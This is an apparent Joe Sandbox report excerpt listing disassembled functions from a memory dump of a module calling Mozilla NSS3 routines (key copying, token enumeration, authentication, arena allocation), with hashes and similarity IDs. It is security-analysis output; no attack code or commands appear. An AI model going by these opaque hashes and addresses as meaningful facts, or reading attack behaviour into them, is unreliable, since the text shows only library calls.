Part of subcall function 6D0310C0: PL_ArenaAllocate.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031141
Part of subcall function 6D0310C0: PR_Unlock.NSS3(?,?,?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D031182
Part of subcall function 6D0310C0: TlsGetValue.KERNEL32(?,6CFD8802,00000000,00000008,?,6CFCEF74,00000000), ref: 6D03119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6D041E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6D041ED0

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: 794c81b3febe4344f69818864c74f821d91bc0417978ccb7ba270f44987f6b0c
Instruction ID: 001687949348126135b3f40baed546d3b15c75bfb96b7048aae7d97d1269be81
Opcode Fuzzy Hash: 794c81b3febe4344f69818864c74f821d91bc0417978ccb7ba270f44987f6b0c
Instruction Fuzzy Hash: 35518B79A0030ADFEB00CF99D884BAEB7F6BF49308F118129D9199F250D771E955CB82

Function 6D094FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6CF785D2,00000000,?,?), ref: 6D094FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D09500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0950C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0950D6

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 2bfd125191b941d37a5681820bd7881435875118befd8df961a5571f66fd2dea
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: 1F419FB6A003158FDB18CF19DCD17AAB7E1BF88318B1D4669C849CB706E375E891CB81

Function 6CFBFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6CFBFDFE), ref: 6CFBFFAD

Part of subcall function 6CF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6CFBF9C9,?,6CFBF4DA,6CFBF9C9,?,?,6CF8369A), ref: 6CF5CA7A
Part of subcall function 6CF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CF5CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6CFBFDFE), ref: 6CFBFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6CFBFDFE), ref: 6CFC001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6CFBFDFE), ref: 6CFC006F

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: 45cab91331222f620eca823fd414d0a882eb20ff0114ce3fe7497eef8e44c14b
Instruction ID: baf42fecae94545b01d99cd785e97de42e64c90922b9cc4d992613e8fd47d7ef
Opcode Fuzzy Hash: 45cab91331222f620eca823fd414d0a882eb20ff0114ce3fe7497eef8e44c14b
Instruction Fuzzy Hash: 8A41AFB5B002069FEB08CFA4E884BAF7775FF49304F050129D90697700DBB6A942CBA2

Function 6D0A7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6D0A7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6D0A7ED8

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: a5141890b6873cd7b92db67212846f6ca2ab9dee701329d84b4fceb95782b465
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: B23185B2E002158FE704CF48D89099AB7E2BFC8214B1B8169D9595B316EB71EC51CBD1

Function 6D05DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6CFE3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFFAE42), ref: 6CFE30AA
Part of subcall function 6CFE3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFE30C7
Part of subcall function 6CFE3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CFE30E5
Part of subcall function 6CFE3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFE3116
Part of subcall function 6CFE3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFE312B
Part of subcall function 6CFE3090: PK11_DestroyObject.NSS3(?,?), ref: 6CFE3154
Part of subcall function 6CFE3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFE317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6D05DBBD), ref: 6D05DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D05DFEE

Part of subcall function 6CFF86D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF8716
Part of subcall function 6CFF86D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CFF8727
Part of subcall function 6CFF86D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFF873B
Part of subcall function 6CFF86D0: PR_Unlock.NSS3(?), ref: 6CFF876F
Part of subcall function 6CFF86D0: PR_SetError.NSS3(00000000,00000000), ref: 6CFF8787

Part of subcall function 6D01F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6D01F854
Part of subcall function 6D01F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6D01F868
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6D01F882
Part of subcall function 6D01F820: free.MOZGLUE(04C483FF,?,?), ref: 6D01F889
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6D01F8A4
Part of subcall function 6D01F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6D01F8AB
Part of subcall function 6D01F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6D01F8C9
Part of subcall function 6D01F820: free.MOZGLUE(280F10EC,?,?), ref: 6D01F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6D05DBBD), ref: 6D05DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6D05DBBD), ref: 6D05E007

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: f4fb0a5ffbadfc19741f327eacff08db99f4b59cbb30f7ceadd38e69cf6290d2
Instruction ID: aa35c38ed2ff84d10126fca967e457a0d78dbdb8e3d8cccd006d9ad17c582916
Opcode Fuzzy Hash: f4fb0a5ffbadfc19741f327eacff08db99f4b59cbb30f7ceadd38e69cf6290d2
Instruction Fuzzy Hash: C231D9B5A0420657F7115B79AD84B6B73F89F95208F010036EE09C7312FB31D968C3B2

Function 6CFD6C50 Relevance: 6.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFD6C8D
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CFD6CA9
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CFD6CC0
SEC_ASN1EncodeItem_Util.NSS3(?,00000000,?,6D0F8FE0), ref: 6CFD6CFE

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Alloc_Arena$EncodeItem_memset
String ID:
API String ID: 2370200771-0
Opcode ID: 5de4c5142edc3ec6e062c6eefc46ece57a1515a9ff6eaa5037c59bca41db4fb2
Instruction ID: 6e97f4250bf5c5b8f93e25d87740516638512ce69bda8c32d3710aff1d18765a
Opcode Fuzzy Hash: 5de4c5142edc3ec6e062c6eefc46ece57a1515a9ff6eaa5037c59bca41db4fb2
Instruction Fuzzy Hash: 8A31C4B1A002169FEB04DF65D881ABFBBF5EF49248F15493DE905D7310EB71A901CBA0

Function 6D0E4F00 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,?,00000000,?,?,00000000), ref: 6D0E4F5D
free.MOZGLUE(?), ref: 6D0E4F74
free.MOZGLUE(?), ref: 6D0E4F82
GetLastError.KERNEL32 ref: 6D0E4F90

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: free$CreateErrorFileLast
String ID:
API String ID: 17951984-0
Opcode ID: 4cb3b336c171491c20c072bd66f19b7ff96290d0a059ec031d5639fc8a03bec7
Instruction ID: ffcaf0a95cdbc0029bf5b192d80c2ef1e9e051b1e6559674905d1f623ebe65b9
Opcode Fuzzy Hash: 4cb3b336c171491c20c072bd66f19b7ff96290d0a059ec031d5639fc8a03bec7
Instruction Fuzzy Hash: F0313775A0020A6FFB00CE69DC85BEEB3F8FF89794F014129E915A7281E734E9048691

Function 6D046DE0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6D046E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D046E57

Part of subcall function 6D07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D07C2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6D046E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6D046EAA

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID:
API String ID: 3163584228-0
Opcode ID: af5f16b8730f0ae09cf3b0848e59f69c438163ab9686c153051dfb12159365ea
Instruction ID: 019aff295475b60ed3694ad48b7c62a1bd3db9aa040fb9d0a2ba94f871b0532c
Opcode Fuzzy Hash: af5f16b8730f0ae09cf3b0848e59f69c438163ab9686c153051dfb12159365ea
Instruction Fuzzy Hash: BE31BF71624613EEFB145F75D804BEBB7E4AB0531AF90863CD99A97241FB306854CBC1

Function 6D02DDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6D02DDB1,?,00000000), ref: 6D02DDF4

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6D02DDB1,?,00000000), ref: 6D02DE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6D02DDB1,?,00000000), ref: 6D02DE17

Part of subcall function 6D030BE0: malloc.MOZGLUE(6D028D2D,?,00000000,?), ref: 6D030BF8
Part of subcall function 6D030BE0: TlsGetValue.KERNEL32(6D028D2D,?,00000000,?), ref: 6D030C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6D02DE80

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 65cb4885704794bb4e0d82ec77702d7dba72b65292ca1465ac2a504412765c5a
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 5D3193B1905B439BFB00CF16D880766B7E4BFE5328B15822AD91D87701E774E9A0CBE1

Function 6D023F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6D023440: PK11_GetAllTokens.NSS3 ref: 6D023481
Part of subcall function 6D023440: PR_SetError.NSS3(00000000,00000000), ref: 6D0234A3
Part of subcall function 6D023440: TlsGetValue.KERNEL32 ref: 6D02352E
Part of subcall function 6D023440: EnterCriticalSection.KERNEL32(?), ref: 6D023542
Part of subcall function 6D023440: PR_Unlock.NSS3(?), ref: 6D02355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6D00E80C,00000000,00000000,?,?,?,?,6D018C5B,-00000001), ref: 6D023FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6D00E80C,00000000,00000000,?,?,?,?,6D018C5B,-00000001), ref: 6D023FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6D00E80C,00000000,00000000,?,?,?,?,6D018C5B,-00000001), ref: 6D023FFE
PR_SetError.NSS3 ref: 6D02401A

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 31a40986917297333c8e1043a1342255998de02fb47474e2e2d76af467772b1d
Instruction ID: 4d4dca0a7f66ce563b99642b52b59ed9a3e522fc88660b6552c364066bd92c80
Opcode Fuzzy Hash: 31a40986917297333c8e1043a1342255998de02fb47474e2e2d76af467772b1d
Instruction Fuzzy Hash: 9B317C719097059FE7119F69E48436EBBF1FF88314F02592ED9898B300EB70E885CB91

Function 6D01FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CFF5ADC,?,00000000,00000001,?,?,00000000,?,6CFEBA55,?,?), ref: 6D01FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D01FE5F
PR_Unlock.NSS3(78831D74), ref: 6D01FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6D01FED6

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 3e1a28c613d44d6499ca912a33cf55247e7b32d11d5013a823c518616ea5af0f
Instruction ID: 47098cc9a41784d120f0085a75c87473bbeeaf6ff46652b80213af01547640db
Opcode Fuzzy Hash: 3e1a28c613d44d6499ca912a33cf55247e7b32d11d5013a823c518616ea5af0f
Instruction Fuzzy Hash: 2E210132A04616ABEB119FB4EC447AA7BF8BF05358F490124DD08AB642E771E964CBD1

Function 6D014FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6D01B60F,00000000), ref: 6D015003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6D01B60F,00000000), ref: 6D01501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6D01B60F,00000000), ref: 6D01504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6D01B60F,00000000), ref: 6D015064

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: a4106a27fd54874381af731ce41047c2f9e6abde35229748937f7f7cf9b38dc6
Instruction ID: b204014de97dc07434332e25c2b461bbeec7ef4d41a6bc862c92b7f49572bb9b
Opcode Fuzzy Hash: a4106a27fd54874381af731ce41047c2f9e6abde35229748937f7f7cf9b38dc6
Instruction Fuzzy Hash: 833129B4A08606DFDB01DFA8D88466ABBF4FF48304F018569D958DB304E771E890CBD1

Function 6CFD1EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CFD4C64,?,-00000004), ref: 6CFD1EE2

Part of subcall function 6D031820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CFD1D97,?,?), ref: 6D031836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD4C64,?,-00000004), ref: 6CFD1F13
DER_DecodeTimeChoice_Util.NSS3(?,6CFD4CA0,?,?,?,?,?,?,00000000,00000000,?,6CFD4C64,?,-00000004), ref: 6CFD1F37
DER_DecodeTimeChoice_Util.NSS3(?,6CFD4C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CFD4C64,?,-00000004), ref: 6CFD1F53

Memory Dump Source

Source File: 00000001.00000002.1757956367.000000006CF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000001.00000002.1757900736.000000006CF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758139649.000000006D0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758195258.000000006D12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758308551.000000006D12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758337612.000000006D130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1758395347.000000006D135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cf50000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: 5aaa2dfb7f5bbf83a85bf3b6241b2fb6092439d273d73a6d375596d4f830eb00
Instruction ID: 18667b51da10153a6cbfe63d2f9b25fa0d66095652d00f7056f6b1f8482adf0f
Opcode Fuzzy Hash: 5aaa2dfb7f5bbf83a85bf3b6241b2fb6092439d273d73a6d375596d4f830eb00
Instruction Fuzzy Hash: 5D219272508316AFD700CF69DD00B9BB7E9EB886A9F064929E944C3640F330F659CB93

Function 6D039F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6D03A71A,FFFFFFFF,?,?), ref: 6D039FAB

Part of subcall function 6D0314C0: TlsGetValue.KERNEL32 ref: 6D0314E0
Part of subcall function 6D0314C0: EnterCriticalSection.KERNEL32 ref: 6D0314F5
Part of subcall function 6D0314C0: PR_Unlock.NSS3 ref: 6D03150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6D03A71A,6D03A71A,00000000), ref: 6D039FD9

Part of subcall function 6D031340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03136A
Part of subcall function 6D031340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CFD895A,00000000,?,00000000,?,00000000,?,00000000,?,6CFCF599,?,00000000), ref: 6D03137E
